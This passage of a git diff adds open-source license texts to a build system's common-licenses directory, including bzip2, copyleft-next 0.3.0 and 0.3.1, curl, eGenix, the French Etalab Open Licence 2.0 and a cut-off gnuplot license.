@@ -0,0 +1,5 @@
+The author disclaims copyright to this source code. In place of a legal notice, here is a blessing:
+
+May you do good and not evil.
+May you find forgiveness for yourself and forgive others.
+May you share freely, never taking more than you give.
diff --git a/meta/files/common-licenses/bzip2-1.0.5 b/meta/files/common-licenses/bzip2-1.0.5
new file mode 100644
index 0000000000..a6957df123
--- /dev/null
+++ b/meta/files/common-licenses/bzip2-1.0.5
@@ -0,0 +1,18 @@
+Version 1.0.5 of 10 December 2007
+
+Copyright © 1996-2007 Julian Seward
+
+This program, bzip2, the associated library libbzip2, and all documentation, are copyright © 1996-2007 Julian Seward. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ • Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ • The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+ • Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ • The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+PATENTS: To the best of my knowledge, bzip2 and libbzip2 do not use any patented algorithms. However, I do not have the resources to carry out a patent search. Therefore I cannot give any guarantee of the above statement.
diff --git a/meta/files/common-licenses/copyleft-next-0.3.0 b/meta/files/common-licenses/copyleft-next-0.3.0
new file mode 100644
index 0000000000..a66d5bf5ee
--- /dev/null
+++ b/meta/files/common-licenses/copyleft-next-0.3.0
@@ -0,0 +1,219 @@
+ copyleft-next 0.3.0 ("this License")
+ Release date: 2013-05-16
+
+1. License Grants; No Trademark License
+
+ Subject to the terms of this License, I grant You:
+
+ a) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ copyright license, to reproduce, Distribute, prepare derivative works
+ of, publicly perform and publicly display My Work.
+
+ b) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ patent license under Licensed Patents to make, have made, use, sell,
+ offer for sale, and import Covered Works.
+
+ This License does not grant any rights in My name, trademarks, service
+ marks, or logos.
+
+2. Distribution: General Conditions
+
+ You may Distribute Covered Works, provided that You (i) inform
+ recipients how they can obtain a copy of this License; (ii) satisfy the
+ applicable conditions of sections 3 through 6; and (iii) preserve all
+ Legal Notices contained in My Work (to the extent they remain
+ pertinent). "Legal Notices" means copyright notices, license notices,
+ license texts, and author attributions, but does not include logos,
+ other graphical images, trademarks or trademark legends.
+
+3. Conditions for Distributing Derived Works; Outbound GPL Compatibility
+
+ If You Distribute a Derived Work, You must license the entire Derived
+ Work as a whole under this License, with prominent notice of such
+ licensing. This condition may not be avoided through such means as
+ separate Distribution of portions of the Derived Work. You may
+ additionally license the Derived Work under the GPL, so that the
+ recipient may further Distribute the Derived Work under either this
+ License or the GPL.
+
+4. Condition Against Further Restrictions; Inbound License Compatibility
+
+ When Distributing a Covered Work, You may not impose further
+ restrictions on the exercise of rights in the Covered Work granted under
+ this License. This condition is not excused merely because such
+ restrictions result from Your compliance with conditions or obligations
+ extrinsic to this License (such as a court order or an agreement with a
+ third party).
+
+ However, You may Distribute a Covered Work incorporating material
+ governed by a license that is both OSI-Approved and FSF-Free as of the
+ release date of this License, provided that Your Distribution complies
+ with such other license.
+
+5. Conditions for Distributing Object Code
+
+ You may Distribute an Object Code form of a Covered Work, provided that
+ you accompany the Object Code with a URL through which the Corresponding
+ Source is made available, at no charge, by some standard or customary
+ means of providing network access to source code.
+
+ If you Distribute the Object Code in a physical product or tangible
+ storage medium ("Product"), the Corresponding Source must be available
+ through such URL for two years from the date of Your most recent
+ Distribution of the Object Code in the Product. However, if the Product
+ itself contains or is accompanied by the Corresponding Source (made
+ available in a customarily accessible manner), You need not also comply
+ with the first paragraph of this section.
+
+ Each recipient of the Covered Work from You is an intended third-party
+ beneficiary of this License solely as to this section 5, with the right
+ to enforce its terms.
+
+6. Symmetrical Licensing Condition for Upstream Contributions
+
+ If You Distribute a work to Me specifically for inclusion in or
+ modification of a Covered Work (a "Patch"), and no explicit licensing
+ terms apply to the Patch, You license the Patch under this License, to
+ the extent of Your copyright in the Patch. This condition does not
+ negate the other conditions of this License, if applicable to the Patch.
+
+7. Nullification of Copyleft/Proprietary Dual Licensing
+
+ If I offer to license, for a fee, a Covered Work under terms other than
+ a license that is OSI-Approved or FSF-Free as of the release date of this
+ License or a numbered version of copyleft-next released by the
+ Copyleft-Next Project, then the license I grant You under section 1 is no
+ longer subject to the conditions in sections 2 through 5.
+
+8. Copyleft Sunset
+
+ The conditions in sections 2 through 5 no longer apply once fifteen
+ years have elapsed from the date of My first Distribution of My Work
+ under this License.
+
+9. Pass-Through
+
+ When You Distribute a Covered Work, the recipient automatically receives
+ a license to My Work from Me, subject to the terms of this License.
+
+10. Termination
+
+ Your license grants under section 1 are automatically terminated if You
+
+ a) fail to comply with the conditions of this License, unless You cure
+ such noncompliance within thirty days after becoming aware of it, or
+
+ b) initiate a patent infringement litigation claim (excluding
+ declaratory judgment actions, counterclaims, and cross-claims)
+ alleging that any part of My Work directly or indirectly infringes
+ any patent.
+
+ Termination of Your license grants extends to all copies of Covered
+ Works You subsequently obtain. Termination does not terminate the
+ rights of those who have received copies or rights from You subject to
+ this License.
+
+ To the extent permission to make copies of a Covered Work is necessary
+ merely for running it, such permission is not terminable.
+
+11. Later License Versions
+
+ The Copyleft-Next Project may release new versions of copyleft-next,
+ designated by a distinguishing version number ("Later Versions").
+ Unless I explicitly remove the option of Distributing Covered Works
+ under Later Versions, You may Distribute Covered Works under any Later
+ Version.
+
+** 12. No Warranty **
+** **
+** My Work is provided "as-is", without warranty. You bear the risk **
+** of using it. To the extent permitted by applicable law, each **
+** Distributor of My Work excludes the implied warranties of title, **
+** merchantability, fitness for a particular purpose and **
+** non-infringement. **
+
+** 13. Limitation of Liability **
+** **
+** To the extent permitted by applicable law, in no event will any **
+** Distributor of My Work be liable to You for any damages **
+** whatsoever, whether direct, indirect, special, incidental, or **
+** consequential damages, whether arising under contract, tort **
+** (including negligence), or otherwise, even where the Distributor **
+** knew or should have known about the possibility of such damages. **
+
+14. Severability
+
+ The invalidity or unenforceability of any provision of this License
+ does not affect the validity or enforceability of the remainder of
+ this License. Such provision is to be reformed to the minimum extent
+ necessary to make it valid and enforceable.
+
+15. Definitions
+
+ "Copyleft-Next Project" means the project that maintains the source
+ code repository at <https://gitorious.org/copyleft-next/> as of the
+ release date of this License.
+
+ "Corresponding Source" of a Covered Work in Object Code form means (i)
+ the Source Code form of the Covered Work; (ii) all scripts,
+ instructions and similar information that are reasonably necessary for
+ a skilled developer to generate such Object Code from the Source Code
+ provided under (i); and (iii) a list clearly identifying all Separate
+ Works (other than those provided in compliance with (ii)) that were
+ specifically used in building and (if applicable) installing the
+ Covered Work (for example, a specified proprietary compiler including
+ its version number). Corresponding Source must be machine-readable.
+
+ "Covered Work" means My Work or a Derived Work.
+
+ "Derived Work" means a work of authorship that copies from, modifies,
+ adapts, is based on, is a derivative work of, transforms, translates or
+ contains all or part of My Work, such that copyright permission is
+ required. The following are not Derived Works: (i) Mere Aggregation;
+ (ii) a mere reproduction of My Work; and (iii) if My Work fails to
+ explicitly state an expectation otherwise, a work that merely makes
+ reference to My Work.
+
+ "Distribute" means to distribute, transfer or make a copy available to
+ someone else, such that copyright permission is required.
+
+ "Distributor" means Me and anyone else who Distributes a Covered Work.
+
+ "FSF-Free" means classified as 'free' by the Free Software Foundation.
+
+ "GPL" means a version of the GNU General Public License or the GNU
+ Affero General Public License.
+
+ "I"/"Me"/"My" refers to the individual or legal entity that places My
+ Work under this License. "You"/"Your" refers to the individual or legal
+ entity exercising rights in My Work under this License. A legal entity
+ includes each entity that controls, is controlled by, or is under
+ common control with such legal entity. "Control" means (a) the power to
+ direct the actions of such legal entity, whether by contract or
+ otherwise, or (b) ownership of more than fifty percent of the
+ outstanding shares or beneficial ownership of such legal entity.
+
+ "Licensed Patents" means all patent claims licensable royalty-free by
+ Me, now or in the future, that are necessarily infringed by making,
+ using, or selling My Work, and excludes claims that would be infringed
+ only as a consequence of further modification of My Work.
+
+ "Mere Aggregation" means an aggregation of a Covered Work with a
+ Separate Work.
+
+ "My Work" means the particular work of authorship I license to You
+ under this License.
+
+ "Object Code" means any form of a work that is not Source Code.
+
+ "OSI-Approved" means approved as 'Open Source' by the Open Source
+ Initiative.
+
+ "Separate Work" means a work that is separate from and independent of a
+ particular Covered Work and is not by its nature an extension or
+ enhancement of the Covered Work, and/or a runtime library, standard
+ library or similar component that is used to generate an Object Code
+ form of a Covered Work.
+
+ "Source Code" means the preferred form of a work for making
+ modifications to it.
diff --git a/meta/files/common-licenses/copyleft-next-0.3.1 b/meta/files/common-licenses/copyleft-next-0.3.1
new file mode 100644
index 0000000000..21c87270fc
--- /dev/null
+++ b/meta/files/common-licenses/copyleft-next-0.3.1
@@ -0,0 +1,220 @@
+ copyleft-next 0.3.1 ("this License")
+ Release date: 2016-04-29
+
+1. License Grants; No Trademark License
+
+ Subject to the terms of this License, I grant You:
+
+ a) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ copyright license, to reproduce, Distribute, prepare derivative works
+ of, publicly perform and publicly display My Work.
+
+ b) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ patent license under Licensed Patents to make, have made, use, sell,
+ offer for sale, and import Covered Works.
+
+ This License does not grant any rights in My name, trademarks, service
+ marks, or logos.
+
+2. Distribution: General Conditions
+
+ You may Distribute Covered Works, provided that You (i) inform
+ recipients how they can obtain a copy of this License; (ii) satisfy the
+ applicable conditions of sections 3 through 6; and (iii) preserve all
+ Legal Notices contained in My Work (to the extent they remain
+ pertinent). "Legal Notices" means copyright notices, license notices,
+ license texts, and author attributions, but does not include logos,
+ other graphical images, trademarks or trademark legends.
+
+3. Conditions for Distributing Derived Works; Outbound GPL Compatibility
+
+ If You Distribute a Derived Work, You must license the entire Derived
+ Work as a whole under this License, with prominent notice of such
+ licensing. This condition may not be avoided through such means as
+ separate Distribution of portions of the Derived Work.
+
+ If the Derived Work includes material licensed under the GPL, You may
+ instead license the Derived Work under the GPL.
+
+4. Condition Against Further Restrictions; Inbound License Compatibility
+
+ When Distributing a Covered Work, You may not impose further
+ restrictions on the exercise of rights in the Covered Work granted under
+ this License. This condition is not excused merely because such
+ restrictions result from Your compliance with conditions or obligations
+ extrinsic to this License (such as a court order or an agreement with a
+ third party).
+
+ However, You may Distribute a Covered Work incorporating material
+ governed by a license that is both OSI-Approved and FSF-Free as of the
+ release date of this License, provided that compliance with such
+ other license would not conflict with any conditions stated in other
+ sections of this License.
+
+5. Conditions for Distributing Object Code
+
+ You may Distribute an Object Code form of a Covered Work, provided that
+ you accompany the Object Code with a URL through which the Corresponding
+ Source is made available, at no charge, by some standard or customary
+ means of providing network access to source code.
+
+ If you Distribute the Object Code in a physical product or tangible
+ storage medium ("Product"), the Corresponding Source must be available
+ through such URL for two years from the date of Your most recent
+ Distribution of the Object Code in the Product. However, if the Product
+ itself contains or is accompanied by the Corresponding Source (made
+ available in a customarily accessible manner), You need not also comply
+ with the first paragraph of this section.
+
+ Each direct and indirect recipient of the Covered Work from You is an
+ intended third-party beneficiary of this License solely as to this
+ section 5, with the right to enforce its terms.
+
+6. Symmetrical Licensing Condition for Upstream Contributions
+
+ If You Distribute a work to Me specifically for inclusion in or
+ modification of a Covered Work (a "Patch"), and no explicit licensing
+ terms apply to the Patch, You license the Patch under this License, to
+ the extent of Your copyright in the Patch. This condition does not
+ negate the other conditions of this License, if applicable to the Patch.
+
+7. Nullification of Copyleft/Proprietary Dual Licensing
+
+ If I offer to license, for a fee, a Covered Work under terms other than
+ a license that is OSI-Approved or FSF-Free as of the release date of this
+ License or a numbered version of copyleft-next released by the
+ Copyleft-Next Project, then the license I grant You under section 1 is no
+ longer subject to the conditions in sections 3 through 5.
+
+8. Copyleft Sunset
+
+ The conditions in sections 3 through 5 no longer apply once fifteen
+ years have elapsed from the date of My first Distribution of My Work
+ under this License.
+
+9. Pass-Through
+
+ When You Distribute a Covered Work, the recipient automatically receives
+ a license to My Work from Me, subject to the terms of this License.
+
+10. Termination
+
+ Your license grants under section 1 are automatically terminated if You
+
+ a) fail to comply with the conditions of this License, unless You cure
+ such noncompliance within thirty days after becoming aware of it, or
+
+ b) initiate a patent infringement litigation claim (excluding
+ declaratory judgment actions, counterclaims, and cross-claims)
+ alleging that any part of My Work directly or indirectly infringes
+ any patent.
+
+ Termination of Your license grants extends to all copies of Covered
+ Works You subsequently obtain. Termination does not terminate the
+ rights of those who have received copies or rights from You subject to
+ this License.
+
+ To the extent permission to make copies of a Covered Work is necessary
+ merely for running it, such permission is not terminable.
+
+11. Later License Versions
+
+ The Copyleft-Next Project may release new versions of copyleft-next,
+ designated by a distinguishing version number ("Later Versions").
+ Unless I explicitly remove the option of Distributing Covered Works
+ under Later Versions, You may Distribute Covered Works under any Later
+ Version.
+
+** 12. No Warranty **
+** **
+** My Work is provided "as-is", without warranty. You bear the risk **
+** of using it. To the extent permitted by applicable law, each **
+** Distributor of My Work excludes the implied warranties of title, **
+** merchantability, fitness for a particular purpose and **
+** non-infringement. **
+
+** 13. Limitation of Liability **
+** **
+** To the extent permitted by applicable law, in no event will any **
+** Distributor of My Work be liable to You for any damages **
+** whatsoever, whether direct, indirect, special, incidental, or **
+** consequential damages, whether arising under contract, tort **
+** (including negligence), or otherwise, even where the Distributor **
+** knew or should have known about the possibility of such damages. **
+
+14. Severability
+
+ The invalidity or unenforceability of any provision of this License
+ does not affect the validity or enforceability of the remainder of
+ this License. Such provision is to be reformed to the minimum extent
+ necessary to make it valid and enforceable.
+
+15. Definitions
+
+ "Copyleft-Next Project" means the project that maintains the source
+ code repository at <https://github.com/copyleft-next/copyleft-next.git/>
+ as of the release date of this License.
+
+ "Corresponding Source" of a Covered Work in Object Code form means (i)
+ the Source Code form of the Covered Work; (ii) all scripts,
+ instructions and similar information that are reasonably necessary for
+ a skilled developer to generate such Object Code from the Source Code
+ provided under (i); and (iii) a list clearly identifying all Separate
+ Works (other than those provided in compliance with (ii)) that were
+ specifically used in building and (if applicable) installing the
+ Covered Work (for example, a specified proprietary compiler including
+ its version number). Corresponding Source must be machine-readable.
+
+ "Covered Work" means My Work or a Derived Work.
+
+ "Derived Work" means a work of authorship that copies from, modifies,
+ adapts, is based on, is a derivative work of, transforms, translates or
+ contains all or part of My Work, such that copyright permission is
+ required. The following are not Derived Works: (i) Mere Aggregation;
+ (ii) a mere reproduction of My Work; and (iii) if My Work fails to
+ explicitly state an expectation otherwise, a work that merely makes
+ reference to My Work.
+
+ "Distribute" means to distribute, transfer or make a copy available to
+ someone else, such that copyright permission is required.
+
+ "Distributor" means Me and anyone else who Distributes a Covered Work.
+
+ "FSF-Free" means classified as 'free' by the Free Software Foundation.
+
+ "GPL" means a version of the GNU General Public License or the GNU
+ Affero General Public License.
+
+ "I"/"Me"/"My" refers to the individual or legal entity that places My
+ Work under this License. "You"/"Your" refers to the individual or legal
+ entity exercising rights in My Work under this License. A legal entity
+ includes each entity that controls, is controlled by, or is under
+ common control with such legal entity. "Control" means (a) the power to
+ direct the actions of such legal entity, whether by contract or
+ otherwise, or (b) ownership of more than fifty percent of the
+ outstanding shares or beneficial ownership of such legal entity.
+
+ "Licensed Patents" means all patent claims licensable royalty-free by
+ Me, now or in the future, that are necessarily infringed by making,
+ using, or selling My Work, and excludes claims that would be infringed
+ only as a consequence of further modification of My Work.
+
+ "Mere Aggregation" means an aggregation of a Covered Work with a
+ Separate Work.
+
+ "My Work" means the particular work of authorship I license to You
+ under this License.
+
+ "Object Code" means any form of a work that is not Source Code.
+
+ "OSI-Approved" means approved as 'Open Source' by the Open Source
+ Initiative.
+
+ "Separate Work" means a work that is separate from and independent of a
+ particular Covered Work and is not by its nature an extension or
+ enhancement of the Covered Work, and/or a runtime library, standard
+ library or similar component that is used to generate an Object Code
+ form of a Covered Work.
+
+ "Source Code" means the preferred form of a work for making
+ modifications to it.
diff --git a/meta/files/common-licenses/curl b/meta/files/common-licenses/curl
new file mode 100644
index 0000000000..dd333ab2e4
--- /dev/null
+++ b/meta/files/common-licenses/curl
@@ -0,0 +1,10 @@
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright (c) 1996 - 2015, Daniel Stenberg, <daniel@haxx.se>.
+All rights reserved.
+
+Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/diffmark b/meta/files/common-licenses/diffmark
new file mode 100644
index 0000000000..02d3b5013d
--- /dev/null
+++ b/meta/files/common-licenses/diffmark
@@ -0,0 +1,2 @@
+1. you can do what you want with it
+2. I refuse any responsibility for the consequences
diff --git a/meta/files/common-licenses/dvipdfm b/meta/files/common-licenses/dvipdfm
new file mode 100644
index 0000000000..b73cb48e47
--- /dev/null
+++ b/meta/files/common-licenses/dvipdfm
@@ -0,0 +1 @@
+A modified version of this file may be distributed, but it should be distributed with a *different* name. Changed files must be distributed *together with a complete and unchanged* distribution of these files.
diff --git a/meta/files/common-licenses/eGenix b/meta/files/common-licenses/eGenix
new file mode 100644
index 0000000000..9b4d30128a
--- /dev/null
+++ b/meta/files/common-licenses/eGenix
@@ -0,0 +1,40 @@
+EGENIX.COM PUBLIC LICENSE AGREEMENT
+Version 1.1.0
+
+This license agreement is based on the Python CNRI License Agreement, a widely accepted open- source license.
+
+1. Introduction
+This "License Agreement" is between eGenix.com Software, Skills and Services GmbH ("eGenix.com"), having an office at Pastor-Loeh-Str. 48, D-40764 Langenfeld, Germany, and the Individual or Organization ("Licensee") accessing and otherwise using this software in source or binary form and its associated documentation ("the Software").
+
+2. License
+Subject to the terms and conditions of this eGenix.com Public License Agreement, eGenix.com hereby grants Licensee a non-exclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use the Software alone or in any derivative version, provided, however, that the eGenix.com Public License Agreement is retained in the Software, or in any derivative version of the Software prepared by Licensee.
+
+3. NO WARRANTY
+eGenix.com is making the Software available to Licensee on an "AS IS" basis. SUBJECT TO ANY STATUTORY WARRANTIES WHICH CAN NOT BE EXCLUDED, EGENIX.COM MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, EGENIX.COM MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+4. LIMITATION OF LIABILITY
+EGENIX.COM SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THE ABOVE EXCLUSION OR LIMITATION MAY NOT APPLY TO LICENSEE.
+
+5. Termination
+This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+6. Third Party Rights
+Any software or documentation in source or binary form provided along with the Software that is associated with a separate license agreement is licensed to Licensee under the terms of that license agreement. This License Agreement does not apply to those portions of the Software. Copies of the third party licenses are included in the Software Distribution.
+
+7. General
+Nothing in this License Agreement affects any statutory rights of consumers that cannot be waived or limited by contract.
+
+Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between eGenix.com and Licensee.
+
+If any provision of this License Agreement shall be unlawful, void, or for any reason unenforceable, such provision shall be modified to the extent necessary to render it enforceable without losing its intent, or, if no such modification is possible, be severed from this License Agreement and shall not affect the validity and enforceability of the remaining provisions of this License Agreement.
+
+This License Agreement shall be governed by and interpreted in all respects by the law of Germany, excluding conflict of law provisions. It shall not be governed by the United Nations Convention on Contracts for International Sale of Goods. This License Agreement does not grant permission to use eGenix.com trademarks or trade names in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+The controlling language of this License Agreement is English. If Licensee has received a translation into another language, it has been provided for Licensee's convenience only.
+
+8. Agreement
+By downloading, copying, installing or otherwise using the Software, Licensee agrees to be bound by the terms and conditions of this License Agreement. For question regarding this License Agreement, please write to:
+ eGenix.com Software, Skills and Services GmbH
+ Pastor-Loeh-Str. 48
+ D-40764 Langenfeld
+ Germany
diff --git a/meta/files/common-licenses/etalab-2.0 b/meta/files/common-licenses/etalab-2.0
new file mode 100644
index 0000000000..2ba1978351
--- /dev/null
+++ b/meta/files/common-licenses/etalab-2.0
@@ -0,0 +1,179 @@
+LICENCE OUVERTE / OPEN LICENCE
+===================================================================
+
+- Version 2.0
+- Avril 2017
+
+
+« RÉUTILISATION » DE L’« INFORMATION » SOUS CETTE LICENCE
+-------------------------------------------------------------------
+
+Le « Concédant » concède au « Réutilisateur » un droit non exclusif et gratuit
+de libre « Réutilisation » de l’« Information » objet de la présente licence,
+à des fins commerciales ou non, dans le monde entier et pour une durée
+illimitée, dans les conditions exprimées ci-dessous.
+
+Le « Réutilisateur » est libre de réutiliser l’« Information » :
+
+- de la reproduire, la copier,
+- de l’adapter, la modifier, l’extraire et la transformer, pour créer des
+« Informations dérivées », des produits ou des services,
+- de la communiquer, la diffuser, la redistribuer, la publier et la transmettre,
+- de l’exploiter à titre commercial, par exemple en la combinant avec d’autres
+informations, ou en l’incluant dans son propre produit ou application.
+
+Sous réserve de :
+
+- mentionner la paternité de l’« Information » : sa source (au moins le nom du
+« Concédant ») et la date de dernière mise à jour de l’« Information »
+réutilisée.
+
+Le « Réutilisateur » peut notamment s’acquitter de cette condition en renvoyant,
+par un lien hypertexte, vers la source de « l’Information » et assurant une
+mention effective de sa paternité.
+
+Par exemple :
+
+« Ministère de xxx - Données originales téléchargées sur
+http://www.data.gouv.fr/fr/datasets/xxx/, mise à jour du 14 février 2017 ».
+
+Cette mention de paternité ne confère aucun caractère officiel à la
+« Réutilisation » de l’« Information », et ne doit pas suggérer une quelconque
+reconnaissance ou caution par le « Concédant », ou par toute autre entité
+publique, du « Réutilisateur » ou de sa « Réutilisation ».
+
+
+« DONNÉES À CARACTÈRE PERSONNEL »
+-------------------------------------------------------------------
+
+L’« Information » mise à disposition peut contenir des « Données à caractère
+personnel » pouvant faire l’objet d’une « Réutilisation ». Si tel est le cas,
+le « Concédant » informe le « Réutilisateur » de leur présence.
+
+L’« Information » peut être librement réutilisée, dans le cadre des droits
+accordés par la présente licence, à condition de respecter le cadre légal
+relatif à la protection des données à caractère personnel.
+
+
+« DROITS DE PROPRIÉTÉ INTELLECTUELLE »
+-------------------------------------------------------------------
+
+Il est garanti au « Réutilisateur » que les éventuels « Droits de propriété
+intellectuelle » détenus par des tiers ou par le « Concédant » sur
+l’« Information » ne font pas obstacle aux droits accordés par la présente
+licence.
+
+Lorsque le « Concédant » détient des « Droits de propriété intellectuelle »
+cessibles sur l’« Information », il les cède au « Réutilisateur » de façon non
+exclusive, à titre gracieux, pour le monde entier, pour toute la durée des
+« Droits de propriété intellectuelle », et le « Réutilisateur » peut faire tout
+usage de l’« Information » conformément aux libertés et aux conditions définies
+par la présente licence.
+
+
+RESPONSABILITÉ
+-------------------------------------------------------------------
+
+L’« Information » est mise à disposition telle que produite ou reçue par le
+« Concédant », sans autre garantie expresse ou tacite que celles prévues par la
+présente licence. L’absence de défauts ou d’erreurs éventuellement contenues
+dans l’« Information », comme la fourniture continue de l’« Information » n’est
+pas garantie par le « Concédant ». Il ne peut être tenu pour responsable de
+toute perte, préjudice ou dommage de quelque sorte causé à des tiers du fait de
+la « Réutilisation ».
+
+Le « Réutilisateur » est seul responsable de la « Réutilisation » de
+l’« Information ».
+
+La « Réutilisation » ne doit pas induire en erreur des tiers quant au contenu
+de l’« Information », sa source et sa date de mise à jour.
+
+
+DROIT APPLICABLE
+-------------------------------------------------------------------
+
+La présente licence est régie par le droit français.
+
+
+COMPATIBILITÉ DE LA PRÉSENTE LICENCE
+-------------------------------------------------------------------
+
+La présente licence a été conçue pour être compatible avec toute licence libre
+qui exige au moins la mention de paternité et notamment avec la version
+antérieure de la présente licence ainsi qu’avec les licences :
+
+- « Open Government Licence » (OGL) du Royaume-Uni,
+- « Creative Commons Attribution » (CC-BY) de Creative Commons et
+- « Open Data Commons Attribution » (ODC-BY) de l’Open Knowledge Foundation.
+
+
+DÉFINITIONS
+-------------------------------------------------------------------
+
+Sont considérés, au sens de la présente licence comme :
+
+Le « Concédant » : toute personne concédant un droit de « Réutilisation » sur
+l’« Information » dans les libertés et les conditions prévues par la présente
+licence
+
+L’« Information » :
+
+- toute information publique figurant dans des documents communiqués ou publiés
+par une administration mentionnée au premier alinéa de l’article L.300-2 du
+CRPA;
+- toute information mise à disposition par toute personne selon les termes et
+conditions de la présente licence.
+
+La « Réutilisation » : l’utilisation de l’« Information » à d’autres fins que
+celles pour lesquelles elle a été produite ou reçue.
+
+Le « Réutilisateur »: toute personne qui réutilise les « Informations »
+conformément aux conditions de la présente licence.
+
+Des « Données à caractère personnel » : toute information se rapportant à une
+personne physique identifiée ou identifiable, pouvant être identifiée
+directement ou indirectement. Leur « Réutilisation » est subordonnée au respect
+du cadre juridique en vigueur.
+
+Une « Information dérivée » : toute nouvelle donnée ou information créées
+directement à partir de l’« Information » ou à partir d’une combinaison de
+l’« Information » et d’autres données ou informations non soumises à cette
+licence.
+
+Les « Droits de propriété intellectuelle » : tous droits identifiés comme tels
+par le Code de la propriété intellectuelle (notamment le droit d’auteur, droits
+voisins au droit d’auteur, droit sui generis des producteurs de bases de
+données…).
+
+
+À PROPOS DE CETTE LICENCE
+-------------------------------------------------------------------
+
+La présente licence a vocation à être utilisée par les administrations pour la
+réutilisation de leurs informations publiques. Elle peut également être
+utilisée par toute personne souhaitant mettre à disposition de
+l’« Information » dans les conditions définies par la présente licence.
+
+La France est dotée d’un cadre juridique global visant à une diffusion
+spontanée par les administrations de leurs informations publiques afin d’en
+permettre la plus large réutilisation.
+
+Le droit de la « Réutilisation » de l’« Information » des administrations est
+régi par le code des relations entre le public et l’administration (CRPA).
+
+Cette licence facilite la réutilisation libre et gratuite des informations
+publiques et figure parmi les licences qui peuvent être utilisées par
+l’administration en vertu du décret pris en application de l’article L.323-2
+du CRPA.
+
+Etalab est la mission chargée, sous l’autorité du Premier ministre, d’ouvrir le
+plus grand nombre de données publiques des administrations de l’Etat et de ses
+établissements publics. Elle a réalisé la Licence Ouverte pour faciliter la
+réutilisation libre et gratuite de ces informations publiques, telles que
+définies par l’article L321-1 du CRPA.
+
+Cette licence est la version 2.0 de la Licence Ouverte.
+
+Etalab se réserve la faculté de proposer de nouvelles versions de la Licence
+Ouverte. Cependant, les « Réutilisateurs » pourront continuer à réutiliser les
+informations qu’ils ont obtenues sous cette licence s’ils le souhaitent.
diff --git a/meta/files/common-licenses/gnuplot b/meta/files/common-licenses/gnuplot
new file mode 100644
index 0000000000..10bfbd4241
--- /dev/null
+++ b/meta/files/common-licenses/gnuplot
@@ -0,0 +1,14 @@
+Copyright 1986 - 1993, 1998, 2004 Thomas Williams, Colin Kelley
+
+Permission to use, copy, and distribute this software and its documentation for any purpose with or without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation.
+
+Permission to modify the software is granted, but not the right to distribute the complete modified source code. Modifications are to be distributed as patches to the released version. Permission to distribute binaries produced by compiling modified sources is granted, provided you
+
+ 1. distribute the corresponding source modifications from the released version in the form of a patch file along with the binaries,
+ 2. add special version identification to distinguish your version in addition to the base release version number,
+ 3. provide your name and address as the primary contact for the support of your modified version, and
+ 4. retain our contact information in regard to use of the base software.
+
